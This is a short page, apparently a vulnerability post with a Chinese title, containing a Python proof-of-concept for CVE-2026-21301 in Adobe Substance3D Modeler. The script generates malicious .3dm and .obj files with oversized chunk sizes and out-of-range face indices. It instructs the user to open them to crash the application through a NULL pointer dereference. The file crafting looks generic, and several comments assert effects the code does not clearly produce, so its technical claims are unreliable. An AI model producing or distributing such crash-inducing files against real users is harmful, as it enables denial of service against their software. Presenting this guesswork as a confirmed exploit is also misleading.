CVE-2026-21301 Adobe Substance3D Modeler空指针解引用漏洞

# CVE-2026-21301 PoC - Adobe Substance3D Modeler NULL Pointer Dereference # This PoC creates a malicious 3D model file that triggers NULL pointer dereference import struct import os def create_malicious_3dm_file(filename): """ Create a malicious .3dm file that triggers NULL pointer dereference in Adobe Substance3D Modeler versions <= 1.22.4 """ # RHINO 3DM file header structure magic = b'3DM' # 3DM file magic number version = b'1.0 ' # Version field # Create minimal 3DM file with malformed data # The key is to create a file with specific byte patterns # that cause the parser to set a pointer to NULL malformed_data = bytearray() # File header (256 bytes) header = bytearray(256) header[0:3] = magic header[3:7] = version # Write version 1 chunk with malformed data malformed_data += b'\x00' * 100 # Padding that causes NULL assignment malformed_data += b'\xFF\xFF\xFF\xFF' # Invalid size field malformed_data += b'\x00' * 200 # More padding # Write chunk header that triggers vulnerability chunk_type = b'\x00\x00\x00\x01' # Type field chunk_size = b'\xFF\xFF\xFF\xFF' # Oversized size chunk_data = b'\x00' * 500 # Malformed chunk data # Combine all parts with open(filename, 'wb') as f: f.write(header) f.write(chunk_type) f.write(chunk_size) f.write(chunk_data) f.write(malformed_data) print(f'[+] Created malicious file: {filename}') print(f'[+] File size: {os.path.getsize(filename)} bytes') def create_malicious_obj_file(filename): """ Alternative PoC: Create malformed OBJ file OBJ format is simpler and widely supported """ # Malformed OBJ file with invalid vertex/normal indices obj_content = '''# Malformed OBJ file for CVE-2026-21301 # This file triggers NULL pointer dereference in Modeler v 1.0 2.0 3.0 v 4.0 5.0 6.0 v 7.0 8.0 9.0 vn 0.0 1.0 0.0 vn 1.0 0.0 0.0 # Face with invalid references (negative or out of bounds) f -1//-1 -2//-2 -3//-3 f 999999//999999 888888//888888 777777//777777 # Additional malformed data g s off l 999999 888888 777777 ''' with open(filename, 'w') as f: f.write(obj_content) print(f'[+] Created malicious OBJ file: {filename}') if __name__ == '__main__': print('=' * 60) print('CVE-2026-21301 PoC - Adobe Substance3D Modeler') print('NULL Pointer Dereference Vulnerability') print('=' * 60) # Create malicious files create_malicious_3dm_file('exploit_cve2026_21301.3dm') create_malicious_obj_file('exploit_cve2026_21301.obj') print('\n[!] Instructions:') print('1. Open the generated malicious file in Adobe Substance3D Modeler') print('2. The application should crash with access violation') print('3. This confirms the NULL pointer dereference vulnerability') print('=' * 60)